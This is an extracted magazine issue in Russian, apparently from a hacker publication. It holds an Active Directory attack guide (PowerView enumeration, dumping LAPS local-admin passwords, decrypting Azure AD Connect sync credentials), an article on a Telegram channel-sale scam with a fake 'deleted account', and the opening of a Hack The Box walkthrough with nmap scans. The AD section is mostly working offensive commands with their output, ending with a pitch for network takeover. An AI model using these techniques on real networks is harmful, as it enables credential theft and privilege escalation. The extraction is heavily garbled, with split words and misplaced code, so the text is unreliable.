3. Ло каль ная  груп па домена не может быть вло жена в  гло баль ную или  уни‐ 
вер саль ную груп пу.

Най ти все груп пы какого‐то типа мож но с помощью PowerView.
  —  най ти  локаль ные

груп пы;
• GetDomainGroup  GroupScope  DomainLocal

 — най ти нелокаль‐ 
ные груп пы;

• GetDomainGroup GroupScope NotDomainLocal

 — най ти гло баль ные груп пы;• GetDomainGroup GroupScope Global

  —  най ти  нег лобаль ные
груп пы;

• GetDomainGroup  GroupScope  NotGlobal

—  най ти  уни вер саль ные
груп пы;

• GetDomainGroup  GroupScope  Universal

  —  най ти  неуни вер‐ 
саль ные груп пы;

• GetDomainGroup  GroupScope  NotUniversal

  —  най ти  груп пы
безопас ности;

• GetDomainGroup  GroupProperty  Security

  —  най ти  груп пы
рас простра нения;

• GetDomainGroup  GroupProperty  Distribution

 — най ти груп‐ 
пы, соз данные сис темой.

• GetDomainGroup GroupProperty CreatedBySystem

При мер поис ка всех уни вер саль ных групп в текущем домене

Ин форма ция из локаль ных групп Active Directory
Най ти локаль ных адми нис тра торов мож но с помощью коман ды

> Invoke‐EnumerateLocalAdmin | ft ‐autosize

Спи сок локаль ных адми нис тра торов

По лучить спи сок всех поль зовате лей поможет модуль PowerShell 
,  дос таточ но  выпол нить  коман ду  .  Получить

спи сок групп, в которых чис лится опре делен ный поль зователь, мож но коман‐ 
дой  .

activedi‐
rectory Get_ADUser  ‐filter  *

Get‐NetGroup ‐UserName [user]
Так же  есть  воз можность  узнать  спи сок  компь юте ров,  к  которым  име ет

дос туп кон крет ный поль зователь или груп па. Для это го исполь зуй коман ды

> Find‐GPOLocation ‐UserName [user]
> Find‐GPOLocation ‐GroupName [group]

Но  мож но  вер нуть  и  спи сок  объ ектов,  име ющих  дос туп  к  опре делен ному
компь юте ру. Для это го есть коман да

> Find‐GPOComputerAdmin ‐ComputerName [computer] ‐Recurse

Еще очень важ ная информа ция, которую мы можем получить: какие объ екты
груп повой полити ки при меня ются к кон крет ной машине. Дела ется это коман‐ 
дой

> Get‐DomainGPO ‐ComputerIdentity [PC_id] ‐Properties displayname

Важ но,  что  все  эти  фун кции  поз воля ют  зап рашивать  информа цию
без повышен ных при виле гий.

LOCAL ADMINISTRATOR PASSWORD SOLUTION
  (LAPS)  —  сис тема,  пред назна чен ная

для  управле ния  пароля ми  локаль ных  адми нис тра торов  на  компь юте рах
домена. Она поз воля ет адми нис тра тору домена пери оди чес ки менять пароль
учет ной  записи  локаль ных  адми нис тра торов,  делеги ровать  пра ва  на  чте ние
и сброс пароля для поль зовате лей или  групп Active Directory,  а  так же обес‐ 
печива ет  хра нение  паролей  в  рас ширен ном  атри буте  объ екта  компь юте ра
в Active Directory. Сис тема сос тоит из трех ком понен тов: аген та, модуля Pow‐
erShell для нас трой ки сис темы, Active Directory для хра нения паролей.

Local  Administrator  Password  Solution

Есть два спо соба обна ружить LAPS.
1. На всех хос тах, где уста нов лен LAPS, в пап ке 

 будет файл  .
C:\Program Files\LAPS\

CSE\ AdmPwd.dll

2. Кон фигура ции LAPS опре деля ются в объ ектах груп повой полити ки. Коман‐ 
дой   мож но поис кать любой объ‐ 
ект груп повой полити ки, у которо го есть сло во LAPS в отоб ража емом име‐ 
ни.

GetDomainGPO Identity "*LAPS*"

 

 

 
 

 

 

displayname              : LAPS
...
gpcfilesyspath           : \\test.local\SysVol\test.local\Policies\{
C3801BA8‐56D9‐4F54‐B2BD‐FE3BF1A71BAA}
distinguishedname        : CN={C3801BA8‐56D9‐4F54‐B2BD‐FE3BF1A71BAA},
CN=Policies,CN=System,DC=testlab,DC=local
...

Та ким обра зом мы смо жем опре делить, есть ли LAPS на нашей машине. Ког‐ 
да мы выяс ним, что LAPS на машине точ но есть, смот рим кон фиг. Кон крет ная
кон фигура ция для полити ки LAPS находит ся в   в раз деле 

. Для декоди рова ния исполь зуй инс тру мент  :
Registry.pol gpc‐

filesyspath GPRegistryPolicy

Parse‐PolFile "\\test.local\SysVol\test.local\Policies\{
C8701BA8‐56D9‐4123‐B6B2‐FE3FA5031BAA}\Machine\Registry.pol"

При мер вывода коман ды:

 

 

 
 

 
 
 

  
 

 
 

 
 

  
 

 
 

 
 

  
 

 
 

 
 

  
 

 
 

 

KeyName     : Software\Policies\Microsoft Services\AdmPwd
ValueName   : PasswordComplexity
ValueType   : REG_DWORD
ValueLength : 4
ValueData   : 4

KeyName     : Software\Policies\Microsoft Services\AdmPwd
ValueName   : PasswordLength
ValueType   : REG_DWORD
ValueLength : 4
ValueData   : 8

KeyName     : Software\Policies\Microsoft Services\AdmPwd
ValueName   : PasswordAgeDays
ValueType   : REG_DWORD
ValueLength : 4
ValueData   : 30

KeyName     : Software\Policies\Microsoft Services\AdmPwd
ValueName   : AdminAccountName
ValueType   : REG_SZ
ValueLength : 26
ValueData   : localfish

KeyName     : Software\Policies\Microsoft Services\AdmPwd
ValueName   : AdmPwdEnabled
ValueType   : REG_DWORD
ValueLength : 4
ValueData   : 1

Слож ность пароля рав на четырем (вер хний и ниж ний регистр, а так же циф ры
и спе циаль ные сим волы), дли на пароля — восемь сим волов, срок дей ствия
пароля  —  30  дней,  и  полити ка  рас простра няет ся  на  локаль ную  учет ную
запись  .localfish

Те перь  най дем  все  компь юте ры,  к  которым  при менен  этот  объ ект  груп‐ 
повой  полити ки.  Для  это го  нам  нуж но  знать  GUID  это го  объ екта.  Сна чала
опре делим  под разде ления,  а  потом  в  каж дом  под разде лении  най дем
рабочие стан ции.

 

 

 Get‐DomainOU ‐GPLink "C3801BA8‐56D9‐4F54‐B2BD‐FE3BF1A71BAA" ‐Proper‐
ties distinguishedname 

 
 

 
 

  
 Get‐DomainComputer ‐SearchBase 
"LDAP://OU=Workstations,DC=testlab,DC=local" ‐Properties distinguished‐
name 

 
 

 
 
 
 

  
 Get‐DomainComputer ‐SearchBase "LDAP://OU=Servers,DC=testlab,DC=local" 
‐Properties distinguishedname 

 
 

>

distinguishedname
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
OU=Workstations,DC=testlab,DC=local
OU=Servers,DC=testlab,DC=local

>

distinguishedname
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
CN=WKSTN01,OU=Workstations,DC=testlab,DC=local
CN=WKSTN03,OU=Workstations,DC=testlab,DC=local
CN=WKSTN04,OU=Workstations,DC=testlab,DC=local

>

distinguishedname
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
CN=FS01,OU=Servers,DC=testlab,DC=local

Мы наш ли все компь юте ры, на которые рас простра няет ся эта кон фигура ция
LAPS. Ком понент LAPS PowerShell дает мно го воз можнос тей. Нап ример, вот
такой коман дой мы можем опре делить, что   и 

  име ют  рас ширен ные  пра ва  в  под разде лени ях  Workstations
и Servers:

LAB\Workstation Admins LAB\
Server  Admins

 

 

 Find‐AdmPwdExtendedRights ‐Identity "Workstations" | fl 
 

 
  
 Find‐AdmPwdExtendedRights ‐Identity "Servers" | fl 

 

>
ObjectDN             : OU=Workstations,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\
Workstation Admins}

>
ObjectDN             : OU=Servers,DC=testlab,DC=local
ExtendedRightHolders : {NT AUTHORITY\SYSTEM, LAB\Domain Admins, LAB\
Server Admins}

Те перь лег ко получить пароль.

 

 

 Get‐AdmPwdPassword ‐ComputerName wkstn02 | fl 
 

 
 

>
ComputerName        : WKSTN02
DistinguishedName   : CN=WKSTN02,OU=Workstations,DC=testlab,DC=local
Password            : !qP)iyT
ExpirationTimestamp :

APPLOCKER
AppLocker  —  тех нология,  которая  поз воля ет  сис темно му  адми нис тра тору
бло киро вать  выпол нение  опре делен ных  исполня емых фай лов  на  компь юте‐ 
рах в сети. То есть мож но соз дать пра вила, по которым будет выдавать ся раз‐ 
решение на выпол нение или отказ. Нап ример, мож но про верять уни каль ные
иден тифика торы  фай лов  и  раз решать  запуск  толь ко  опре делен ным  поль‐ 
зовате лям или груп пам.

Обыч но  кон фигура ция  AppLocker  при меня ется  через  объ ект  груп повой
полити ки. В таком слу чае лег ко извлечь кон фигура цию из  , если у нас
есть дос туп на чте ние к обще му ресур су. Как прос мотреть объ екты груп повой
полити ки и к каким машинам они при меня ются, смот ри в раз деле LAPS. Отли‐ 
чает ся толь ко путь:

SYSVOL

Software\Policies\Microsoft\Windows\SrpV2\%ext%\
xxxxxxxx‐xxx‐xxx‐xxx‐xxxxxxxxxxxx

При мер раз реша юще го пра вила AppLocker

Есть  три  спо соба  при мене ния  зап реща юще го  пра вила:  , 
и  .

Publisher Path
File Hash

При мер зап реща юще го пра вила AppLocker

На мес те   исполь зуй клю чи:  ,  ,  ,  ,  .%ext% Appx Exe Dll Msi Script

AZURE ACTIVE DIRECTORY
  (Azure AD) — облачная служ ба управле ния удос товере‐ 

ниями и дос тупом. Она нуж на для соз дания  учет ных записей поль зовате лей
и  управле ния  ими  и  при меня ется  в  облачных  сер висах  Microsoft,  таких
как Azure, Office 365, SharePoint. Если в AD для аутен тифика ции поль зовате‐ 
лей слу жит Kerberos, то здесь в той же роли исполь зует ся OAuth 2.0.

Azure Active Directory

Син хро низа ция AD и Azure AD про исхо дит по трем сце нари ям.
1. Сце нарий  .  Он  поз воля ет  син хро низи ровать
с обла ком новые учет ные записи поль зовате лей и  групп, при этом логин
у  поль зовате ля  син хро низи рует ся  с  AD,  а  пароль  при дет ся  сме нить,  так
как он не син хро низи рует ся.

син хро низа ции  катало га

2. Сце нарий    дает  воз можность  поль зовате лям
логинить ся в облачный сер вис с паролем от локаль ной учет ной записи AD.
При этом син хро низи рует ся логин и хеш пароля.

син хро низа ции паролей

3. Сце нарий    обес печива ет  про вер ку  под линнос ти  поль‐ 
зовате лей  в  локаль ном  катало ге  AD  и  поз воля ет  реали зовать  сце нарий
еди ного вхо да с исполь зовани ем кор поратив ных учет ных дан ных — за счет
син хро низа ции токенов дос тупа.

еди ного  вхо да

Про ата ку на сце нарий еди ного вхо да мно го рас ска зать не могу, и для него
нуж ны  пра ва  адми нис тра тора.  Так  как  пароль  в  дан ном  слу чае  переда ется
меж ду  Azure  AD  Connect  и  Azure  ServiceBus  в  откры том  виде,  то  есть  воз‐ 
можность  его  перех ватить.    поз воля ет  внед рить  DLL
и получить пароль поль зовате ля во вре мя соеди нения. В качес тве парамет ра
дан ное  при ложе ние  при нима ет  PID  про цес са 

.

FileAzureadHookDLL

AzureADConnectAuthentica‐
tionAgentService[*]

Сце нарий син хро низа ции паролей
Для  нас  осо бен но  инте ресен  сце нарий  син хро низа ции  паролей  (PHS).
Для син хро низа ции дан ных в AD есть при ложе ние Azure AD Connect, которое
извле кает  дан ные  из  AD  и  переда ет  их  в  AAD.  За  син хро низа цию  отве чает
служ ба DCSync.

Схе ма син хро низа ции AzureAD Connect

При соз дании соеди нения на  хос те  заводит ся новая база дан ных,  при этом
исполь зует ся LocalDB для SQL Server. Мы можем прос мотреть информа цию
о работа ющем экзем пля ре с помощью инс тру мен та SqlLocalDb.exe.

При мер работы SqlLocalDb.exe

Ба за  дан ных  под держи вает  Azure  AD  Sync  —  в  ней  хра нят ся  метадан ные
и  кон фигура ции  для  служ бы.  Зашиф рован ный  пароль  находит ся  в  таб лице

  в  поле  ,
и  для  его  рас шифров ки  исполь зует ся  биб лиоте ка 

.  Рас шифро вывать  мож но
при помощи  .

ADSync.dbo.mms_management_agent encrypted_configuration
C:\Program  Files\Mi‐

crosoft  Azure  AD  Sync\Binn\mcrypt.dll
AzureadDecryptorMsol.ps1

При мер работы скрип та AzureadDecryptorMsol.ps1

Как  видишь  из  кон фигура ции  безопас ности,  если  получит ся  ском про мети‐ 
ровать  сер вер  с  Azure  AD Connect  и  получить  дос туп  либо  к  ,
либо  к  локаль ным  груп пам  адми нис тра торов,  то  откры вает ся  воз можность
заполу чить учет ку, которая может выпол нять DCSync.

ADSyncAdmins

Кон фигура ции безопас ности

Сце нарий син хро низа ции катало га
В этом сце нарии к одной и той же учет ной записи в AD и AAD при меня ются
раз ные  пароли,  что  дела ет  неак туаль ной  ата ку  на  сес сию  син хро низа ции.
Но  так  как  осталь ные  учет ные  дан ные  в  слу чае  син хро низа ции  будут  сов‐ 
падать, мы можем про вес ти раз ведку для AAD, и ее резуль таты в боль шинс‐ 
тве будут акту аль ны для AD.

Для  удобс тва  будем  исполь зовать  Azure  CLI,  это  инс тру мент  для  Linux,
который исполь зуют в сетях Windows. Начина ем с коман ды   — она
сге нери рует  локаль ные  токены  OAuth,  откро ет  окно  бра узе ра  на  стра нице
авто риза ции, и ты смо жешь вой ти под уже име ющим ся поль зовате лем. Сле‐ 
дующая  коман да  поз воля ет  получить  спи сок  поль зовате лей,  параметр 

  опре деля ет  фор мат  пред став ления  дан ных,  а    —  какие  дан ные
выводить.

az login

out‐
put query

az ad user list ‐‐output=json ‐‐query='[].{UPN:userPrincipalName,
Name:displayName,Email:mail,UserId:mailNickname,Enabled:accoun
tEnabled}'

Вот некото рые дру гие воз можнос ти.
Спи сок групп:

az ad group list ‐‐output=json ‐‐query='[].{Group:displayName,Descri
ption:description}'

Спи сок поль зовате лей в опре делен ной груп пе:

az ad group member list ‐‐output=json ‐‐query='[].{UPN:userPr
incipalName, Name:displayName, UserId:mailNickname, Enabled:accoun
tEnabled}' ‐‐group='<group name>'

Спи сок при ложе ний:

az ad app list ‐‐output=json ‐‐query='[].{Name:displayName,URL:
homepage}'

Все служ бы:

az ad sp list ‐‐output=json ‐‐query='[].{Name:displayName,Enabled:
accountEnabled,URL:homepage}'

Ин форма ция о кон крет ной служ бе:

az ad sp list ‐‐output=json ‐‐display‐name='<display name>'

ЗАКЛЮЧЕНИЕ
Те перь ты зна ешь все лазей ки и методы, с помощью которых мож но получить
информа цию для про веде ния атак на поль зовате лей, повыше ния при виле гий,
боково го прод вижения и зах вата сети в целом. Исполь зуй эти зна ния с умом!

https://www.microsoft.com/en-us/download/details.aspx?id=46899
https://github.com/PowerShell/GPRegistryPolicy
https://azure.microsoft.com/ru-ru/services/active-directory/
https://gist.github.com/xpn/79a7f966b9dffd0ccf3505787f8060d7
https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545


АККАУНТ?
УДАЛЕННЫЙ

НОВЫЙ СПОСОБ ОБМАНУТЬ
ГАРАНТОВ СДЕЛОК В TELEGRAM

Андрей Минаев

ВЗЛОМ

Да леко  не  каж дый  «уда лен ный  акка унт»
в Telegram дей стви тель но  уда лен. Час то их
исполь зуют,  что бы  обма нуть  либо  покупа‐ 
теля  канала,  либо  про дав ца.  Но  иног да
жер тва ми  ста новят ся  и  сами  гаран ты  сде‐ 
лок.  Это  и  про изош ло  в  начале  октября
с  гаран том  ,  который
занима ется  про веде нием  сде лок  более
пяти  лет.  Как  это  слу чилось?  Об  этом  я
и рас ска жу.

Ва сили ем  Сусовым

КАК ОБЫЧНО ПРОХОДЯТ СДЕЛКИ
Про дажа канала, чата или бота в Telegram — не самый проз рачный про цесс.
Пока  не  появи лась  воз можность  переда вать  пра ва  соз дателя  канала,  при‐ 
ходи лось вмес те с каналом пре дос тавлять покупа телю и акка унт соз дателя.

Кноп ка переда чи прав на канал

Для  таких  сде лок  прив лека ют  зареко мен довав ших  себя  гаран тов.  Они  кон‐ 
тро лиру ют  весь  про цесс  и  отве чают  за  то,  что бы  про давец  получил  день ги,
а покупа тель — канал. За сдел ку гаран ту полага ется воз награж дение.

Но  где  день ги,  там  всег да  появ ляют ся  мошен ники.  Гаран ты  регуляр но
стал кива ются  с  раз ными  схе мами  обма на  со  сто роны  как  покупа телей,  так
и  про дав цов.  Поэто му  порядок  совер шения  сдел ки  стро го  опре делен  и  не
меня ется.

Иног да мошен ники пред лага ют про дав цу про вес ти сдел ку  через сто рон‐ 
него гаран та или вов се без него, что бы не опла чивать его услу ги. Ради эко‐ 
номии  некото рые  адми ны  сог лаша ются,  но  в  ито ге  оста ются  и  без  денег,
и без канала. Если вов ремя не опом нятся.

INFO

О  дру гих  спо собах  мошен ничес тва  при  про даже
каналов  в  Telegram  читай  в  пре дыду щей  статье
Андрея  Мина ева  «

».

Ос торож но,  мошен ники!
Как  уго няют  каналы  в  Telegram  и  что  с  этим
делать

ЧТО ПРОИЗОШЛО?
4  октября  в  админ ских  чатах  ста ла  появ лять ся  информа ция,  что  Сусов
при  про веде нии  сдел ки  кинул  адми на    на  550  тысяч  руб лей  за  канал
«Ада мово  ябло ко».  Пос тра дав ший  админ  соз дал  отдель ный  канал,  где
показал перепис ку с гаран том и опи сал сво ими сло вами, что слу чилось.

Media

Пост покупа теля о про изо шед шем

Ад мин  пот ребовал  у  гаран та  вер нуть  день ги.  При  этом  адми нис тра торы
из  комь юни ти ста ли серь езно сом невать ся  в порядоч ности  гаран та. Сто ило
начать раз бирать ся, и всплы ли инте рес ные детали.

Нап ример,  всех  уди вило,  что  пред ложение  о  про даже  канала  было  най‐ 
дено на Avito. Это весь ма ред кое явле ние в Telegram, и мало кто с этим стал‐ 
кивал ся. Пред ложения о  покуп ке  и  про даже  каналов  раз меща ются  на  соот‐ 
ветс тву ющих каналах или через ботов в самом Telegram — на так называ емых
бир жах.

Сам канал ока зал ся сом нитель ной темати ки. Он рек ламиро вал ся в пос тах
с  упо мина нием  пор но,  прос титуции,  измен.  Для  60  тысяч  под писчи ков  сто‐ 
имость канала в 550 тысяч руб лей явно завыше на.

Ти пич ный рек ламный пост канала «Ада мово ябло ко»

Про дав ца и покупа теля админ ское  комь юни ти  тол ком не зна ло. Media заяв‐ 
лял, что он новичок в Telegram, — но уже про вора чива ет сдел ку на пол милли‐ 
она руб лей через непопу ляр ную в этой сре де пла теж ную сис тему Payeer.

Media утвер жда ет, что впер вые покупа ет канал

По доз рения выз вал и покупа тель, ког да слиш ком быс тро сог ласил ся на ком‐ 
пенса цию толь ко час ти «уте рян ных» денег. Из‐за все го это го адми ны начали
искать допол нитель ную информа цию и наш ли немало инте рес ного.

ПСЕВДОПОКУПАТЕЛЬ
По купа тель  заяв лял,  что  он  новичок  в  Telegram,  но  при  этом  он  ука зан
как  адми нис тра тор  на  крип товалют ном  канале    с  количес‐ 
твом под писчи ков более 115 тысяч.

Crypto  post  |  ICO

По купа тель ука зан в качес тве кон такта на круп ном канале

Вы ясни лось,  что  Media  ког да‐то  пред лагал  нес коль ким  адми нам  купить  их
каналы.  При  этом  сдел ку  хотел  про вес ти  через  гаран та 
с  явно  нак ручен ной  бир жи  @tradeteleg  (сей час  ).  Адми ны  обра‐ 
тили  вни мание  на  рез кое  уве личе ние  чис ла  под писчи ков  этой  бир жи,
за которым пос ледова ло такое же рез кое   их активнос ти.

Сер гея  Новико ва
@telegtrade

сни жение
Так  как  адми ны  не  слы шали  про Сер гея  Новико ва,  они  пред лагали  про‐ 

верен ных гаран тов. В резуль тате Media отка зывал ся от сдел ки.

Media пред лага ет адми ну про вес ти сдел ку через нак ручен ную бир жу

На той же бир же адми ны наш ли стра ницу с фей ковыми отзы вами. Некото рые
даже обна ружи ли свои отзы вы, которые оставля ли дру гим бир жам.

Ад мин ука зыва ет, что отзыв этой бир же не оставлял

Ста ло ясно, что покупа тель и про давец — это один и тот же человек, который
хотел обма нуть непос редс твен но гаран та, а ког да не получи лось, начал угро‐ 
жать, что испортит репута цию.

СХЕМА МОШЕННИЧЕСТВА
Сдел ки с уда лен ными акка унта ми гаран ты про водят регуляр но. Тут глав ное —
убе дить ся, что акка унт дей стви тель но уда лен, и осо бых проб лем не будет.

В  свя зи  с  тех ничес кой  осо бен ностью  Telegram  перей ти  в  акка унт  соз‐ 
дателя из панели адми нис тра тора канала невоз можно. Отоб ража ется толь ко
наз вание, ава тар ка и вре мя пос ледней активнос ти. Поэто му про верить, есть
ли там поле отправ ки сооб щения, нель зя.

Отоб ража ется вре мя пос ледней активнос ти у под дель ного акка унта

Что бы исклю чить про вер ку на вре мя активнос ти, мошен ник добавил в чер ный
спи сок гаран та Василия Сусова. Сде лал он это, что бы отоб ражалась помет ка
«был(а) дав но» (last seen a  long  time ago) вмес то «был(а) недав но» (last seen
recently). И для подс тра хов ки он добавил в чер ный спи сок и его кол легу Ярос‐ 
лава Муром цева.

Отоб ражение пос ледней активнос ти, ког да вас добави ли в чер ный спи ‐
сок

Выг лядит как обыч ный уда лен ный акка унт. Как толь ко Сусов получил админку
к каналу, под твер дил это и соб рался про верить канал по осталь ным пун ктам,
мошен ник стал дей ство вать по сво ему алго рит му.

Га рант про сит подож дать с опла той, пока про веря ет уда лен ный акка унт

Мо шен ник перево дит опла ту про дав цу — то есть самому себе — и ски дыва ет
скрин об этом в общий чат сдел ки. Затем про исхо дит сле дующее.
1. Мо шен ник уда ляет гаран та из адми нис тра торов канала, который про дает‐ 
ся.  В  адми нис тра торах  канала  оста ются  толь ко  под дель ный  «уда лен ный
акка унт соз дателя» и акка унт про дав ца.

2. Мо шен ник уда ляет сооб щения в чате с акка унта про дав ца.
3. Мо шен ник уда ляет сам акка унт про дав ца.
4. Пос ле  это го  в  админке  оста ется  под дель ный  «уда лен ный  акка унт  соз‐ 
дателя».

В  этой  схе ме  про давец,  покупа тель  и  уда лен ный  акка унт  соз дателя — один
человек — мошен ник. И тут мы вер нулись к началу исто рии: покупа тель обви‐ 
няет гаран та в том, что потерял день ги и не получил пра ва на канал, и тре бует
с него ком пенса цию.

В нор маль ной сдел ке, где покупа тель и про давец — реаль ные люди, а не
мошен ники,  гарант,  про верив  уда лен ный  акка унт,  обна ружил  бы  обман  (о
том, что и как про верять, — даль ше).

У под дель ного уда лен ного акка унта не меня ется перевод наз вания
при изме нении язы ка на англий ский

Эта  исто рия  закон чилась  хорошо:  схе му  разоб лачили,  и  мошен ник  остался
ни с чем. Адми ны добави ли мошен ника, под дель ную бир жу и его канал в чер‐ 
ные спис ки,   выдали мет ки мошен ника.сер висы ана лити ки

Мет ка мошен ника

Как  видишь,  работа  гаран та  нуж на,  что бы обе зопа сить  две  сто роны от  воз‐ 
можно го  обма на.  При  этом  нет  пол ной  уве рен ности,  что  жер твой  обма на
не ста нет сам гарант.

КАК ПРОВЕРИТЬ, ЧТО АККАУНТ ДЕЙСТВИТЕЛЬНО УДАЛЕН?
Са мые  оче вид ные  момен ты:  отсутс твие  логина,  фотог рафии,  опи сания
и номера телефо на. Наз вание канала дол жно быть имен но «Уда лён ный акка‐ 
унт». Иног да мошен ники глу пят и пишут е вмес то ё или «акка унт» с заг лавной
бук вы.

Есть и дру гие, менее оче вид ные кри терии.
1. У акка унта вмес то пос ледне го вре мени активнос ти отоб ража ется «был(а)
дав но».

Вре мя активнос ти у уда лен ного акка унта

2. Ес ли  открыть  диалог  с  уда лен ным  акка унтом,  дол жно  отсутс тво вать  поле
для отправ ки сооб щения.

От сутс тву ет поле отправ ки сооб щения

3. На дес ктоп ных кли ентах в качес тве ава тар ки отоб ража ется аббре виату ра
УА, а на телефо нах при виде ние.

При виде ние на ава тар ке

4. При  изме нении  язы ка  интерфей са  меня ется  наз вание  акка унта.  Нап‐ 
ример, на англий ском язы ке уда лен ный акка унт будет под писан как Delet‐
ed Account.

Наз вание уда лен ного акка унта на англий ском язы ке

Та ким обра зом, отли чить под дель ный уда лен ный акка унт от реаль но уда лен‐ 
ного впол не воз можно. 

Ком мента рий Василия Сусова
Ис тория поучи тель ная. Теперь еще более тща тель но сле жу за тем, что и как
пишу в чат, что бы у учас тни ков сдел ки не оста валось воз можнос ти интер пре‐ 
тиро вать мои сло ва по‐сво ему.

Но нуж но понимать, что опи сан ный спо соб обма на лишь один из мно гих,
которы ми  поль зуют ся  мошен ники.  Дам  еще  три  прос тых  совета,  которые
в боль шинс тве слу чаев обе регут вас от кра жи:

Ча ще все го мошен ники выс тупа ют в роли покупа теля. Если собира ешь ся
про давать канал, никог да не сог лашай ся на демонс тра цию сво его экра на
покупа телю через скайп, это про сят сде лать толь ко мошен ники.

•

Ког да  дело  доходит  до  выбора  гаран та,  мошен ники  либо  пред лага ют
никому  не  извес тно го  гаран та  с  фей ковыми  отзы вами  или  под став ной
гарант‐сайт,  либо  дела ют  фей ковый  акка унт  сущес тву юще го  гаран та
с  хорошей  репута цией.  Всег да  про веряй,  есть  ли  реаль ные  гаран тии
и  при чины  доверять,  догова ривай ся  о  сдел ке  самос тоятель но  и  вни‐ 
матель но све ряй кон такты.

•

Ес ли ты все же решишь ся про вес ти сдел ку без гаран та, хорошень ко озна‐ 
комь ся с тон костя ми работы сис темы безопас ности Telegram.

•

https://mygarant.ru/
https://xakep.ru/2019/07/08/telegram-hijacking/
https://t.me/seftdea
https://t.me/crypto_posty
https://t.me/NovikSerg
https://tgstat.ru/channel/@telegtrade
http://joxi.ru/xAeG83VSRkxY9m
https://telemetr.me/analytics/?name=https://tmtr.me/telegtrade
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ВЗЛОМ

Се год ня мы  зах ватим  вир туаль ную машину
October  с  .  Нас  ждет  иссле‐ 
дова ние October CMS, получе ние веб‐шел‐ 
ла,  раз ведка  на  хос те  (поиск  уяз вимого
бинар ника)  и  ком бинация  атак  ret2libc  +
брут форс  ASLR  для  получе ния  сес сии
супер поль зовате ля.

Hack  The  Box

В королевс тве PWN
В  этом  цик ле  ста тей  мы  изу чаем  раз ные  аспекты  атак  типа  «перепол нение
сте ка». Читай так же:

« »• Пре пари руем клас сику перепол нения буфера в сов ремен ных усло виях
« »• ROP‐цепоч ки и ата ка Return‐to‐PLT в CTF Bitterman
«

»
• Ата ка ret2bss, крип тоора кулы и реверс‐инжи ниринг на вир туал ке Smasher
с Hack The Box

Ма шину для нового про хож дения я выб рал не потому, что на дво ре октябрь,
а  в  основном  за  спе цифи ку  испы таний,  которая  поз волит  про дол жить  тему
низ коуров невой  экс плу ата ции,  начатую  мной  .  October  —
отно ситель но нес ложная вир туаль ная машина (уро вень Medium — 4,7 бал ла
из  10),  одна ко  на  ее  при мере  удоб нее  все го  разоб рать,  что  пред став ляет
собой ата ка ret2libc, с помощью которой обхо дят зап рет выпол нения дан ных
в  сте ке  (DEP/NX‐Bit),  и  как  под бира ется  адрес  той  самой  стан дар тной  раз‐ 
деля емой  биб лиоте ки  ,  что бы  обма нуть  механизм  ран домиза ции  раз‐ 
мещения адресно го прос транс тва (ASLR).

в  прош лой  статье

libc

На общий уро вень слож ности машины пов лияло и то, что в админке CMS,
которую пред полага лось зах ватывать, «слу чай но» оста вили дефол тную авто‐ 
риза цию.  Поэто му  быс тро  про бежим  вступ ление  и  более  под робно  оста‐ 
новим ся на эта пе эска лации при виле гий.

РАЗВЕДКА
Nmap
На  этот  раз  я  нем ного  изме ню  свою  стан дар тную  так тику  исполь зования
Nmap и поп робую новый трюк.

 

 

root@kali:~# nmap ‐n ‐Pn ‐‐min‐rate=1000 ‐T4 ‐p‐ 10.10.10.16 ‐vvv | tee 
ports 

 
 

 
 
 

 

 
 

 
 

 
 

 
 

 
 

  
 

 

Starting Nmap 7.80 ( https://nmap.org ) at 2019‐09‐23 19:01 EDT
Initiating SYN Stealth Scan at 19:01
Scanning 10.10.10.16 [65535 ports]
Discovered open port 22/tcp on 10.10.10.16
Discovered open port 80/tcp on 10.10.10.16
SYN Stealth Scan Timing: About 25.97% done; ETC: 19:03 (0:01:28 remain‐
ing)
SYN Stealth Scan Timing: About 60.13% done; ETC: 19:03 (0:00:40 remain‐
ing)
Completed SYN Stealth Scan at 19:03, 90.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.16
Host is up, received user‐set (0.081s latency).
Scanned at 2019‐09‐23 19:01:57 EDT for 90s
Not shown: 65533 filtered ports
Reason: 65533 no‐responses
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn‐ack ttl 63
80/tcp open  http    syn‐ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 90.52 seconds
Raw packets sent: 131135 (5.770MB) | Rcvd: 69 (3.036KB)

Пер вым  дей стви ем  я  на  высокой  ско рос ти  (опции  ,  )
прос канирую  весь  диапа зон  пор тов  хос та  October.  Зап росив  мак сималь но
под робный фид бэк от Nmap  (трой ным  ),  я перенап равлю вывод в файл

 с помощью коман ды tee, но в то же вре мя смо гу видеть про межу точ ные
резуль таты и прог ресс выпол нения до завер шения работы ска нера.

‐‐min‐rate=1000 ‐T4

‐vvv
ports

 

 

root@kali:~# ports=$(cat ports | grep '  | awk ‐F "/" '{print $1}' | 
tr "\n" ',' | sed 's/,$//') 
root@kali:~# echo $ports 

[0‐9]'

22,80

Пос ле чего, воору жив шись тек сто выми про цес сорами коман дной стро ки Lin‐
ux  и мощью регуляр ных  выраже ний,  я  вытащу  все  пор ты  из  резуль тата  ска‐ 
ниро вания,  сфор мирую  из  них  стро ку,  в  которой  номера  пор тов  раз делены
запятой,  и  прис вою  ее  зна чение  перемен ной  .  Если  магия  пар синга
фай ла    кажет ся  неин туитив ной,  поп робуй  по  час тям  разоб рать  при‐ 
веден ный однос троч ник, с каж дым разом при бав ляя сле дующий кон вей ерный
опе ратор и коман ду, иду щую за ним.

$ports
ports

 

 

root@kali:~# nmap ‐n ‐Pn ‐sV ‐sC ‐‐reason ‐oA nmap/october ‐p$ports 
10.10.10.16 
root@kali:~# cat nmap/october.nmap 

 
 

 
  

 

 
 

 
 
 
 
 

 
 

 
 

 
  

 

# Nmap 7.80 scan initiated Mon Sep 23 19:04:21 2019 as: nmap ‐n ‐Pn ‐sV 
‐sC ‐‐reason ‐oA nmap/october ‐p22,80 10.10.10.16
Nmap scan report for 10.10.10.16
Host is up, received user‐set (0.080s latency).

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn‐ack ttl 63 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (
Ubuntu Linux; protocol 2.0)
| ssh‐hostkey:
